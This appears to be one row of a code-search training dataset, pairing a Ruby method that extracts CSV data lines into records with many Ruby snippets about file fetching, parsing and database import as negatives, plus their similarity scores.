"def file_get(input={}, raw=false)\n response = post('mw/File.Get', input, raw)\n end",
"def file_get(id)\n response = get('FileService.getFile', id)\n end",
"def file_url\n end",
"def file\n @file ||= find_file\n end",
"def get_download\n\tend",
"def file_data\n @client.get_file @file_url\n end",
"def project_file(fname)\n \"#{@project_path}/#{fname}\"\nend",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file(file_type, id)\n query = \"/?client_id=#{@client_id}&#{id}\"\n path = \"#{file_type}/#{__method__}.to_s\"\n resp = http_get(path, query)\n end",
"def file=(_arg0); end",
"def file=(_arg0); end",
"def file=(_arg0); end",
"def get_file(filename, options={})\n end",
"def file(fname)\n @file_list[fname]\n end",
"def get_file(path)\n raise NotImplemented\n end",
"def download_private_shared_file(file_t)\n get_private_shared_file_link(file_t)\n end",
"def remote_file(task)\n target_roles = task.delete(:roles)\n override = task.delete(:override)\n\n UploadTask.define_task(task) do |t|\n prerequisite_file = t.prerequisites.first\n file = shared_path.join(t.name).to_s.shellescape\n\n on roles(target_roles) do\n if override || !test(\"[ -f #{file} ]\")\n info \"Uploading #{prerequisite_file} to #{file}\"\n upload! File.open(prerequisite_file), file\n end\n end\n\n end\n end",
"def get_file_name \n send_cmd(\"get_file_name\")\n end",
"def fls(file)\n end",
"def localFile(f)\n fileUri(File::absolute_path(f))\nend",
"def file_path=(_arg0); end",
"def file\n @file\n end",
"def file\n @file ||= Operations::FileFactory.new(self)\n end",
"def file_utils\n @fu ||= NanDoc::Config.file_utils\n end",
"def file\n if params[:version] && !params[:version].match?(/^[1-9]\\d*$/)\n render(plain: \"400 Bad Request: version parameter must be positive integer\", status: :bad_request)\n return\n end\n\n obj_version = params[:version].to_i if params[:version]&.match?(/^[1-9]\\d*$/)\n location = MoabStorageService.filepath(druid, params[:category], params[:filepath], obj_version)\n if location\n send_file location\n else\n render(plain: \"404 File Not Found: #{druid}, #{params[:category]}, #{params[:filepath]}, #{params[:version]}\", status: :not_found)\n end\n rescue ArgumentError => e\n render(plain: \"400 Bad Request: #{e}\", status: :bad_request)\n rescue Moab::MoabRuntimeError => e\n render(plain: \"404 Not Found: #{e}\", status: :not_found)\n end",
"def generate_file(task, &block)\n GenerateFileTask.define_task(task, &block)\n end",
"def path\n @file\n end",
"def file_name\n library_name\n end",
"def get_file(path)\n remove_file path\n resource = File.join(TEMPLATE_HOST, TEMPLATE_BRANCH, 'files', path)\n create_file path, download_resource(resource)\nend",
"def get_file(url)\n get(url).body\n end",
"def file\n return \"(unknown)\" unless self.method\n method.file\n end",
"def file!(*args, &block)\n task = Rake::FileTask.define_task(*args, &block)\n CLEAN.include(task.name)\n task\nend",
"def retrieve_file(target)\n # only local dir in tutorial!\n full_path = File.join(File.dirname(__FILE__), target)\n @client.puts \"Looking for #{full_path} ...\"\n\n content = []\n\n # Check if file exists, return appropriate response\n if File.exists?(full_path)\n @http_status = \"HTTP/1.1 200 OK\"\n\n # Open the file, read content.\n begin\n File.open(full_path, \"r\") do |f|\n \n f.each_line do |l|\n content << l\n end\n end\n rescue \n @client.puts \"Error when opening file.\"\n @http_status = \"HTTP/1.0 404 Not Found\"\n end\n\n else\n @http_status = \"HTTP/1.0 404 Not Found\"\n end\n\n return content.join(\"\")\n end",
"def local_file\n @local_file ||= LocalFile.new self\n end",
"def get_file\n\t\t{\n\t\t\tfile_name: File.basename(file.path.to_s),\n\t\t\turl: file.url\n\t\t}\n\tend",
"def get(file, flags); @actions << Action::GetAction.new(file, flags); end",
"def do_file(req,res)\n path = req.path.gsub(/^(\\/|\\.)+/,\"\")\n return do_GET(req,res,path) if File.exists? path\n raise WEBrick::HTTPStatus::NotFound, \"`#{path}' not found.\"\n end",
"def download_file(f)\n run(\"curl -O http://github.com/meskyanichi/rails-templates/raw/master/files/#{f}\")\nend",
"def file(id)\n Box::File.new(@api, nil, :id => id)\n end",
"def get_file(foreign_ref)\n set_client\n\n # return file data\n if service.downcase.include? \"dropbox\"\n begin\n response = @client.get_file(foreign_ref)\n rescue\n return nil\n end\n return response\n end\n\n if service.downcase.include? \"google\"\n response = @client.execute(:uri => 'https://www.googleapis.com/drive/v2/files/'+foreign_ref+'?alt=media')\n return response.status == 200 ? response.body : nil\n end\n\n return File.read(Rails.root.join('usercontent', foreign_ref)) if service == \"local\"\n end",
"def read_file(file, context); end",
"def testget_leveled_file_contentNonRubyFile\n assert_raise(LoadError) do\n RCodeLeveler.get_leveled_file_content('RequiredFiles/NonRubyFile.so')\n end\n end",
"def existing_files; end",
"def file\n return @file\n end",
"def file\n return @file\n end",
"def public_file_server; end",
"def public_file_server; end",
"def file\n FileFactory.new(self)\n end",
"def path\n @file\n end",
"def check_for_file\n @ff.check_for_file \n end",
"def file( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::FileInfo.new( self, name )\n\t\t\tend",
"def fetch_file(file_path)\n client.get_file(file_path)\n end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end"
] | [
"0.67055136",
"0.6650713",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.6587971",
"0.65311325",
"0.6515225",
"0.6434485",
"0.63988495",
"0.63988495",
"0.63809806",
"0.6370115",
"0.6342625",
"0.62546223",
"0.6193642",
"0.616111",
"0.61503637",
"0.614513",
"0.60964274",
"0.607241",
"0.60586697",
"0.60586697",
"0.60586697",
"0.60586697",
"0.60586697",
"0.60586697",
"0.605301",
"0.6045073",
"0.6041252",
"0.60386145",
"0.6018068",
"0.6015436",
"0.5995333",
"0.5992756",
"0.59773546",
"0.5967838",
"0.59538835",
"0.5945202",
"0.59339607",
"0.5930523",
"0.5922668",
"0.58967876",
"0.5877657",
"0.5877657",
"0.5877657",
"0.5877657",
"0.58714",
"0.585613",
"0.585613",
"0.585613",
"0.5846062",
"0.5840005",
"0.58209485",
"0.58166754",
"0.581364",
"0.57958174",
"0.57828647",
"0.57680875",
"0.57674426",
"0.57516503",
"0.5751117",
"0.57423615",
"0.5741317",
"0.57362586",
"0.57299083",
"0.5727929",
"0.572218",
"0.57161534",
"0.5715907",
"0.5715802",
"0.5713093",
"0.57031775",
"0.5700789",
"0.56906074",
"0.5668854",
"0.56671345",
"0.564717",
"0.5641579",
"0.5630166",
"0.5625737",
"0.5625446",
"0.56225264",
"0.56225264",
"0.56153107",
"0.56153107",
"0.5611251",
"0.5611012",
"0.5604229",
"0.56014675",
"0.55929095",
"0.55882174",
"0.55882174",
"0.55882174"
] | 0.0 | -1 |
This extracts the header and entry information from the file and adds it to the database | def extract_the_data(skip)
skip = skip
success = true
data_lines = 0
data_records = []
@array_of_lines.each_with_index do |line, n|
next if n < skip
@project.write_messages_to_all("Warning: line #{n} is empty.<br>", true) if line[0..24].all?(&:blank?)
next if line[0..24].all?(&:blank?)
@record = CsvRecord.new(line, @csvfile, @project)
success, message, result = @record.extract_data_line(n)
if result[:birth_place_flag].present? || result[:deleted_flag].present? || result[:individual_flag].present? || result[:location_flag].present? ||
result[:name_flag].present? || result[:occupation_flag].present? || result[:address_flag].present? || result[:deleted_flag].present?
result[:flag] = true
else
result[:flag] = false
end
result[:record_valid] = 'true' unless result[:error_messages].present? || result[:warning_messages].present? || result[:flag]
data_records << result
@csvfile.total_errors = @csvfile.total_errors + 1 if result[:error_messages].present?
@csvfile.total_warnings = @csvfile.total_warnings + 1 if result[:warning_messages].present?
@csvfile.total_info = @csvfile.total_info + 1 if result[:info_messages].present?
@project.write_messages_to_all(message, true) unless success
success = true
data_lines = data_lines + 1
end
[success, data_lines, data_records]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_file(src, dest)\n create_table(dest)\n\n puts \"***** Importing #{dest}\"\n\n count = 0\n# names = File.foreach(src).collect do |line|\n names = open(src).collect do |line| \n count += 1\n if count % 2000 == 0\n puts count\n end\n\n data = line.split\n\n name = data.first.capitalize\n freq = data[2].to_f\n\n name = if dest == \"surname\"\n cleanup_surname(name)\n else\n cleanup_firstname(name)\n end\n\n {:name => name, :freq => freq}\n end\n\n puts \"loading into db\"\n\n # remove any existing records\n @db[dest.to_sym].truncate\n\n # insert!\n @db[dest.to_sym].multi_insert(names)\n end",
"def parse_file\n filename = full_path_from_edict_file(@config[\"filename\"])\n ### Get all the line into memory\n file_obj = File.new(filename, \"r\")\n file_obj.each do |line|\n @added_lines.push line\n end\n end",
"def parse\n @file_data.each {|line|\n h = {}\n data_elements = line.split('|').collect(&:strip)\n #LastName | FirstName | MiddleInitial | Gender | FavoriteColor | DateOfBirth\n @data_collection << {:last_name => data_elements[0], :first_name => data_elements[1], :middle_initial => data_elements[2], :gender => (data_elements[3] == 'M') ? 'Male' : 'Female', :favorite_color => data_elements[4], :dob => data_elements[5].gsub('-', '/'), :dob_year => data_elements[5][-4,4]}\n }\n end",
"def diphot_metadata_to_h\n File.open(@qualified_filename, 'r') do |fd|\n diff = fd.readline.chomp\n reference = fd.readline.chomp\n @obj_metadata = { 'diff' => diff, 'reference' => reference }\n end\n end",
"def build_database(file, database_user_key,database_movie_key)\n file.each do |line| \n\t\t\ttokens=line.split(\"\\t\")\n\t\t\tuser_id=tokens[0]\n\t\t\tmovie_id=tokens[1]\n\t\t\trate_score=tokens[2]\n\t\t\tadd_entry(database_user_key,user_id,movie_id,rate_score)\n\t\t\tadd_entry(database_movie_key,movie_id,user_id,rate_score)\n end \n end",
"def import\n\n output = ''\n\n country_src = 'tmp/Countries.txt'\n \n rs = File.open(country_src)\n rs.gets # <-- remove first line (columns header) \"CountryID:Title\"\n countries = {}\n City.delete_all\n Region.delete_all\n Country.delete_all\n\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n countries[row[0]] = {:name => row[1], :regions => {}, :model => nil}\n c = Country.new\n c.iso = row[0]\n c.name = row[1]\n c.save\n countries[row[0]][:model] = c\n end\n\n regions_src = 'tmp/Regions.txt'\n \n rs = File.open(regions_src)\n rs.gets # <-- remove the 1st line (header row) #CountryID:RegionID:Title\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n c = countries[row[0]][:model]\n r = Region.new\n r.iso = row[1]\n r.country_id = c.id\n\n # magic trick to ignore UTF-8 chars for now.\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n r.name = ic.iconv(row[2] + ' ')[0..-2]\n r.save\n countries[row[0]][:regions][row[1]] = r\n\n end\n\n cities_src = 'tmp/Cities.txt'\n \n rs = File.open(cities_src)\n rs.gets # <-- remove 1st row (header) #CountryID:RegionID:Title:Latitude:Longitude\n while(row = rs.gets)\n row = row.split(':')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n row[3].gsub!(/\\n/, '')\n row[4].gsub!(/\\n/, '')\n \n r = countries[row[0]][:regions][row[1]]\n if (!r.nil?) \n c = City.new\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n c.name = ic.iconv(row[2] + ' ')[0..-2] \n c.region_id = r.id\n c.lat = row[3]\n c.lng = row[4]\n c.save\n end\n end\n\n output += '<h1>Import complete</h1>'\n render(:text => output, :layout => false)\n end",
"def parse_file(filename)\n start = Time.now\n open filename do |file|\n data = {}\n i = 0\n file.each do |line|\n date, query = line.chomp.split(\"\\t\")\n\n insert(date, query)\n i += 1\n end\n puts \"Successfully read #{i} lines.\"\n end\n puts \"Done in #{Time.now - start} seconds.\"\n end",
"def readUnihanDatabase(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^#/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][a[1].to_sym] = a[2]\n end\n end\nend",
"def generate_header_info\n magic = FileMagic.new\n @header_info = magic.file(@file_name)\n magic.close\n\n @header_info\n end",
"def write_food_group_table()\n puts <<SQL\ndrop table if exists FOOD_GROUP;\ncreate table FOOD_GROUP(\n id char(5) not null,\n description varchar(60) not null,\n primary key(id)\n);\nSQL\n\n read_data('FD_GROUP.txt') do |fields|\n puts make_insert_statement('FOOD_GROUP', fields, 'id', 'description')\n end\nend",
"def import_csv_file(db, encoding, file, table)\n verbose \"Reading the header row.\"\n row_num = 0\n\n # Decide whether to get the CSV data from a file or STDIN\n if file == ''\n csv = CSV($stdin)\n if table == ''\n table = 'stdin'\n end\n else\n csv = CSV.open(file, encoding:encoding)\n end\n\n # Process each line of the CSV data\n csv.each do |row|\n # header row\n if row_num == 0\n verbose \"Columns are: #{row.inspect}\"\n\n column_defs = \"\"\n column_names = \"\"\n column_placeholders = \"\"\n\n row.each do |column|\n column_defs << \"#{column} VARCHAR, \"\n column_names << \"#{column}, \"\n column_placeholders << \"?, \"\n end\n\n # Remove the comma after last column\n column_defs.sub!(/,\\ \\Z/, '')\n column_names.sub!(/,\\ \\Z/, '')\n column_placeholders.sub!(/,\\ \\Z/, '')\n\n verbose \"Creating the #{table} table:\"\n create_table_query = \"CREATE TABLE IF NOT EXISTS #{table} (#{column_defs})\"\n verbose \"#{create_table_query};\"\n db.execute create_table_query\n\n verbose \"Prepared statement is:\"\n prepared_statement = \"INSERT INTO #{table} (#{column_names}) VALUES (#{column_placeholders})\"\n verbose \"#{prepared_statement};\"\n @insert = db.prepare(prepared_statement)\n # non-header rows\n else\n verbose \"Inserting row #{row_num}.\"\n @insert.execute(row)\n end\n row_num += 1\n end\nend",
"def import_input_data(data)\n\n # clear all the old data\n #InputRecord.delete_all\n\n # grab the table out of the data file\n table = /<table.*?>(.*)<\\/table>/im.match(data.squish)\n # split into array rows based on <tr></tr> and do some cleanup\n tabledata = table[1].gsub(/\\ /,\" \").gsub(/ </,\"<\").gsub(/> /,\">\").gsub(/<b>|<\\/b>|<img.*?>|<\\/img>|<span.*?>|<\\/span>|<td.*?>|<a .*?>|<\\/a>/,\"\").scan(/<tr.*?>.*?<\\/tr>/im)\n # split by columns and remove extraneous tags\n tabledata.map!{ |row| row.gsub(/<tr.*?>/,\"\").gsub(/<\\/td><\\/tr>/,\"\").force_encoding(\"UTF-8\").gsub(/\\u{a0}/,\"\").split(\"</td>\")}\n\n data_columns = {\n \"Acronym\" => :acronym,\n \"Title\" => :title,\n \"Organization\" => :organization,\n \"Department\" => :department,\n \"Agency\" => :agency,\n \"RFP #\" => :rfp_number,\n \"Solicitation #\" => :rfp_number,\n \"Program Value\" => :program_value,\n \"Value($k)\" => :program_value,\n \"RFP Date\" => :rfp_date,\n \"Solicitation Date\" => :rfp_date,\n \"Status\" => :status,\n \"User List\" => :user_list,\n \"Project Award Date\" => :project_award_date,\n \"Projected Award Date\" => :project_award_date,\n \"Opportunity Id\" => :input_opportunity_number,\n \"Opp Id\" => :input_opportunity_number,\n \"Contract Type\" => :contract_type,\n \"Contract Type (Combined List)\" => :contract_type_combined,\n \"Primary Service\" => :primary_service,\n \"Contract Duration\" => :contract_duration,\n \"Last Updated\" => :last_updated,\n \"Competition Type\" => :competition_type,\n \"NAICS\" => :naics,\n \"Primary State of Perf.\" => :primary_state_of_performance,\n \"Summary\" => :summary,\n \"Comments\" => :comments,\n \"Latest News\" => :comments,\n \"DOD/Civil\" => :dod_civil,\n \"Incumbent\" => :incumbent,\n \"Contractor\" => :incumbent,\n \"Contractor (Combined List)\" => :contractor_combined,\n \"Incumbent Value\" => :incumbent_value,\n \"Contract Value($k)\" => :incumbent_value,\n \"Incumbent Contract #\" => :incumbent_contract_number,\n \"Contract Number\" => :incumbent_contract_number,\n \"Incumbent Award Date\" => :incumbent_award_date,\n \"Contract Award Date\" => :incumbent_award_date,\n \"Incumbent Expire Date\" => :incumbent_expire_date,\n \"Contract Expire Date\" => :incumbent_expire_date,\n \"Priority\" => :priority,\n \"Vertical\" => :vertical,\n \"Vertical (Combined List)\" => :vertical_combined,\n \"Segment\" => :segment,\n \"Segment (Combined List)\" => :segment_combined,\n \"Key Contacts\" => :key_contacts\n }\n\n # figure out which input columns map to which data columns\n keys = []\n cols = {}\n tabledata[0].each_index do |column|\n keys[column] = data_columns[tabledata[0][column].strip]\n cols[data_columns[tabledata[0][column]]] = column\n# puts \"found #{keys[column]} in #{cols[data_columns[tabledata[0][column]]]}\"\n end\n\n record_count = 0\n\n # load the data\n for row in 1..(tabledata.length-1) # for each row (except the header row)\n# puts \"loading row #{row}\"\n opportunity_number_column = cols[:input_opportunity_number]\n opportunity_number = tabledata[row][opportunity_number_column]\n record = InputRecord.find_or_create_by_input_opportunity_number(opportunity_number) # get the record or make a new one\n keys.each_index do |column| # for each column in the input file, update the attribute\n case keys[column]\n when :title #need special processing for title to split URL from actual title\n if tabledata[row][column] =~ /<a/\n data = /<a href=\"(.*?)\">(.*?)<\\/a>/i.match(tabledata[row][column])\n record.input_url = data[1] unless data[1].nil?\n record.title = data[2] unless data[2].nil?\n else\n record.title = tabledata[row][column]\n end\n when :department\n @dept = tabledata[row][column]\n when :agency\n if tabledata[row][column].nil?\n record.send(\"organization=\", \"#{@dept}\")\n else\n record.send(\"organization=\", \"#{@dept}/#{tabledata[row][column]}\")\n end\n when :rfp_date, :project_award_date, :last_updated, :incumbent_award_date, :incumbent_expire_date\n record.send(\"#{keys[column]}=\",GovwinIQ.fix_input_date(tabledata[row][column]))\n else\n record.send(\"#{keys[column]}=\", tabledata[row][column]) unless keys[column].nil?\n end\n end\n record.save!\n record_count += 1\n end\n\n return record_count\n end",
"def parse_file\n #needs begin rescue exception handling \n \tbegin \n \t\traise FileNotFoundException.new(\"File not Found\") unless File.exists?(@file_path)\n\t\n \t\tFile.open(@file_path).slice_before(@delimiter).each do |chunk|\n \t\t\tchunk.reject! {|item| item =~ @delimiter }\n \t\ttitle = chunk.shift\n \t\tif @title_hash.has_key?(title)\n \t\t\t@title_hash[title] = @title_hash[title] << chunk \n \t\telse\n \t\t p chunk\n \t\t\t@title_hash[title] = chunk\n \t\tend \t\t\n \t\tend\n \t\t\n \trescue FileNotFoundException => e\n \t\tp e.message\n \tend\n\t\n end",
"def write_nutrient_definition_table()\n puts <<SQL\ndrop table if exists NUTRIENT_DEFINITION;\ncreate table NUTRIENT_DEFINITION(\n id char(3) not null,\n units varchar(7) not null,\n tagname varchar(20) default null,\n description varchar(60) default null,\n decimal_places char(1) default null,\n sort_order int default null,\n primary key (id)\n);\nSQL\n\n read_data('NUTR_DEF.txt') do |fields|\n puts make_insert_statement('NUTRIENT_DEFINITION', fields,\n 'id', 'units', 'tagname', 'description',\n 'decimal_places', 'sort_order')\n end\nend",
"def add_extra_src(file)\n lines = File.readlines(file)\n headers = lines.shift.split\n lines.each do |line|\n row = line.split\n emi = {}\n headers.each_with_index do |h,i|\n case h\n when \"xq\"\n @xq << row[i]\n when \"yq\"\n @yq << row[i]\n when \"aq\"\n @aq << row[i]\n when \"bq\"\n @bq << row[i]\n else\n emi[h] = row[i]\n end\n end\n @nb_src += 1\n @nb_extra_src += 1\n @extra_src_emi << emi\n end\n @nb_src\n end",
"def read_file_content(file, key)\n @content_as_table = parse(file)\n @headers = @content_as_table.headers if @headers.empty?\n index_of_key = @headers.index(key)\n @content += @content_as_table.sort_by { |a| -a[index_of_key].to_i }\n end",
"def make_entry()\n\n seq_id = @filehandler.readline.chomp\n puts seq_id\n sequence = @filehandler.readline.chomp\n identifier = @filehandler.readline.chomp\n quality = @filehandler.readline.chomp\n\n Entry.new(seq_id, sequence, identifier, quality)\n end",
"def entryMaker(url)\n\n # set up for image links\n img_base = \"http://www.comicstriplibrary.org\"\n\n curPage = Nokogiri::HTML(open(url))\n\n curEntry = {}\n curTable = curPage.css(\"table#metadata\") \n\n # regexes strip id and stores it.\n foundID = url.match(/\\/(\\d+)/).to_s\n foundID.gsub!(/\\//,'')\n curEntry['comic_id'] = foundID\n puts \"I.D. added! it is #{foundID}\"\n \n curTable.css(\"tr\").each do |row|\n case row.css('th').text\n\n when \"Title\"\n curEntry['title'] = row.css('td').text.strip\n\n when \"Author\"\n curEntry['author'] = row.css('td').text.strip\n\n when \"Date Published\"\n cleaned_row = row.css('td').text.strip\n rawDate = cleaned_row.gsub(/^(\\d{4})-(\\d{2})-(\\d{2})\\s-\\s([a-zA-Z]+)/,'\\4, \\2-\\3-\\1')\n simpleDate = cleaned_row.gsub(/^(\\d{4})-(\\d{2})-(\\d{2})\\s-\\s([a-zA-Z]+\\s)/,'\\2-\\3-\\1')\n\n # for a friendlier date string\n curEntry['date_display'] = rawDate\n\n # standardized dates, to be sorted against\n begin\n parsedDate = Date.parse(simpleDate)\n curEntry['date_published'] = parsedDate\n rescue StandardError => e\n yearOnly = rawDate.match(/\\d{4}$|\\d{4}\\s$/)\n curEntry['date_published'] = yearOnly\n next\n end\n\n # curEntry['date_published'] = parsedDate\n\n when \"Summary\"\n curEntry['summary'] = row.css('td').text.strip\n\n when \"Characters\"\n cleaned_row = row.css('td').text.strip\n cleaned_row.gsub!(/\\n\\s+|\\n/, \"\")\n curEntry['characters'] = cleaned_row.split(',').collect(&:strip) \n\n when \"Contents\"\n cleaned_row = row.css('td').text.strip\n cleaned_row.gsub!(/\\n\\s+|\\n|\\_\\(\\d+\\)/, \"\")\n cleaned_row.gsub!(/\\_/,\" \")\n curEntry['contents'] = cleaned_row.split(',').collect(&:strip) \n\n when \"Notes\"\n curEntry['notes'] = row.css('td').text.strip\n\n when \"Transcript\"\n if row.text.match(/transcribe/)\n curEntry['transcript'] = false\n else\n curEntry['transcript'] = true\n curEntry['transcript_text'] = row.css('td').text.strip\n end\n\n end\n\n end\n\n\n this_img = curPage.css(\"#display-wrapper img\").map { |link| link[\"src\"] }[0]\n img_url = img_base + this_img\n\n # add standard img link\n curEntry['img'] = img_url\n\n # add smaller/thumb img link\n thumb = img_url.gsub(/-s/,\"-tn\")\n curEntry['img_thumb'] = thumb\n\n # add hi-res img link\n hiRes = img_url.gsub(/-s/,\"-l\")\n curEntry['img_link'] = hiRes\n\n return curEntry\n end",
"def parse_file\n File.open(\"FoodDB.txt\", \"r\") do |f|\n f.each_line do |line|\n line.chomp!\n command = line.split(\",\")\n name = command[0]\n type = command[1]\n info = command[2]\n #switches on type\n case type\n when \"b\"\n addFood(name, info)\n when \"r\"\n length = command.length-1\n ingredients = command[2..length]\n addRecipe(name,ingredients)\n end\n end\n end\n end",
"def prepare_db_data( f, cl, tbd, df )\n s = File::Stat.new( f )\n if ! s\n puts \"couldn't stat #{f}\\n\"\n next\n end\n\n # grab extension\n m = /(\\.\\w+)$/.match( f )\n if m && m[1]\n # yes it's redundant, but this way, if the file is outside of it's directory i have half a chance of knowing what it is\n new_pathfile = s.mtime.strftime( \"%m/%d/%m%d%H%M\" ) + m[1]\n else \n puts \"couldn't find file extension for #{f}\\n\"\n next\n end\n\n md5_checksum = Digest::MD5.hexdigest( File.read( f ) )\n\n # make directories if needed\n testfile = tbd + s.mtime.strftime( \"/%m\" )\n if ! File.exists?( testfile )\n Dir.mkdir( testfile )\n end\n\n testfile += s.mtime.strftime( \"/%d\" )\n if ! File.exists?( testfile )\n Dir.mkdir( testfile )\n end\n\n # copy file to new location\n FileUtils.copy( f, \"#{tbd}/\" + new_pathfile )\n\n # save data for db push\n df.push( { :class => cl, :created_text_date => s.mtime, :created_epoch_seconds => s.mtime.to_i, :pathfile => new_pathfile, :md5_checksum => md5_checksum } )\nend",
"def db_insert!( db_file )\n ####db = SQLite3::Database.new( db_file )\n ####db.transaction do |database|\n #### if not database.execute( db_fetch ).empty?\n #### raise(IndexError, \"Entry exists for #{filename}, #{@rmr_number}, #{@timestamp.to_s}... Skipping.\")\n #### end\n #### database.execute( db_insert )\n ####end\n ####db.close\n puts \"SQLite3\"\n end",
"def test_parse_headers\n tmpdbfile = Tempfile.new('tmp.db')\n args = [\"--header\", \n \"--source\", \"header_test.csv\", \n \"--save-to\", tmpdbfile.path, \n \"--ifs=\" \",\",\n \"--table-name\",\"header_test\"]\n Csvql.run(args)\n\n db = SQLite3::Database.new tmpdbfile.path\n headers_from_db = db.execute2('select * from header_test;')[0]\n headers_from_file = File.open('header_test.csv').each_line.first.gsub(/\\n/,'').split(',')\n\n #binding.pry\n assert_equal headers_from_db, headers_from_file\n end",
"def load_hpo_file(file)\n\tstorage = []\n\tid = nil\n\tname = nil\n\talt_id = []\n\tsyn = []\n\tis_a = []\n\tFile.open(file).each do |line|\n\t\tline.chomp!\n\t\ttag, info = line.split(': ')\n\t\tif tag == 'id' || tag == 'name' || tag == 'is_a' || tag == 'synonym' || tag == 'alt_id'\n\t\t\tif tag == 'id'\n\t\t\t\tstorage << [id, alt_id.join('|'), name, syn.join('|')].concat(is_a) if !name.nil? #if !temp[1].include?(\"obsolete\") \n\t\t\t\tid = info\n\t\t\t\tname = nil\n\t\t\t\talt_id = []\n\t\t\t\tsyn = []\n\t\t\t\tis_a = []\n\t\t\tend\n\t\t\tif tag == 'alt_id'\n\t\t\t\talt_id << info\n\t\t\telsif tag == 'is_a'\n\t\t\t\tis_a.concat(info.split(' ! '))\n\t\t\telsif tag == 'synonym'\n\t\t\t\tsyn << info.split('\"')[1]\n\t\t\telse\n\t\t\t\tname = info\n\t\t\tend\n\t\tend\n\tend\n\tstorage << [id, alt_id.join('|'), name, syn.join('|')].concat(is_a)\n\treturn storage\nend",
"def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end",
"def parse_metadata(file)\n file_name = File.basename(file)\n puts \"\\n#{Time.now.strftime('%T')} Parsing #{file_name}\" unless Rails.env.test?\n attrs = parser.new(file).attributes\n\n if attrs.blank?\n errors << \"Failed to parse file: #{file_name}\"\n elsif record_exists?(attrs)\n # Don't re-import the record if this record already\n # exists in fedora.\n skipped_imports << file_name\n else\n create_record(attrs.merge(metadata_file: file, visibility: visibility, admin_set: admin_set))\n successful_imports << file_name\n end\n rescue => e\n errors << \"#{file_name}: #{e}\"\n end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def parse_article_from_file article_file_name\n article_values = {}\n article_values[:content] = ''\n article_values[:introduction] = ''\n article_values[:tags] = []\n article_values[:authors] = []\n article_values[:title] = ''\n article_values[:date] = nil\n article_values[:updated_at] = nil\n next_is = ''\n\n puts \"Parsing: #{article_file_name}\"\n File.open(File.join(ARTICLE_PATH, article_file_name), 'r') do |article_file|\n article_file.each_line do |line|\n next if line.blank?\n ##### Checking what next line will be\n # Detect date\n if line.include?(DATE_DELIMITER)\n next_is = 'date'\n # Detect updated_at date\n elsif line.include?(UPDATED_AT_DELIMITER)\n next_is = 'updated_at'\n # Detect introduction\n elsif line.include?(INTRODUCTION_DELIMITER)\n next_is = 'introduction'\n # Detect content\n elsif line.include?(CONTENT_DELIMITER)\n next_is = 'content'\n elsif line.include?(TAGS_DELIMITER)\n next_is = 'tags'\n elsif line.include?(TITLE_DELIMITER)\n next_is = 'title'\n elsif line.include?(AUTHORS_DELIMITER)\n next_is = 'authors'\n else\n case(next_is)\n when 'date' then article_values[:date] = Time.zone.parse(line.strip)\n when 'updated_at' then article_values[:updated_at] = Time.zone.parse(line.strip)\n when 'introduction' then article_values[:introduction] << line.strip\n when 'content' then article_values[:content] << line\n when 'title' then article_values[:title] << line.strip\n when 'authors' then\n line.strip.split(',').each do |author|\n author.strip! # Removing eventual spaces at the begining or at the end\n article_values[:authors] << Author.where(:name => author).first unless Author.where(:name => author).empty?\n end\n when 'tags' then\n line.strip.split(',').each do |tag_name|\n tag_name.strip! # Removing eventual spaces at the begining or at the end\n # If the tag exists, add it to the list of tags\n if Tag.where(:name => tag_name).empty?\n article_values[:tags] << Tag.create(:name => tag_name)\n else\n article_values[:tags] << Tag.where(:name => tag_name).first\n end\n end\n end\n end\n end\n end\n return article_values\nend",
"def get_entries(filename)\n lines = File.readlines(filename)\n hsh = lines.select { |s| s !~ /^#/ && s.strip != '' }.map do |lin|\n parts = lin.split('|')\n raise \"Bad line #{lin}\" unless parts.size == 5\n {\n raw: lin,\n rank: parts[0],\n word: parts[1],\n type: parts[2],\n translation: parts[3],\n sample: parts[4].strip\n }\n end\n hsh\n end",
"def process\n create, insert, table = extract_sql #Extract mysql create/insert statements from the dump file\n raise \"Couldn't extract create syntax from MySql Dump File\" if create.nil?\n create = escape_create_string(create)\n begin\n @connection.execute(\"DROP TABLE #{table}\") rescue ''#Drop existing table first\n @connection.execute(create) #Recreate the table \n if insert && @import_data\n values = row_values(insert) \n values.each do |val|\n sql = \"INSERT INTO #{table} VALUES #{val}\"\n begin\n @connection.execute(sql) #Insert rows\n rescue Exception => e\n puts e.message\n puts sql\n puts \"table #{table}\"\n end\n end\n else\n puts \"There's no records to be added\" if @import_data && !insert\n end\n rescue Exception => e\n puts e.message\n puts \"table #{table}\"\n end\n end",
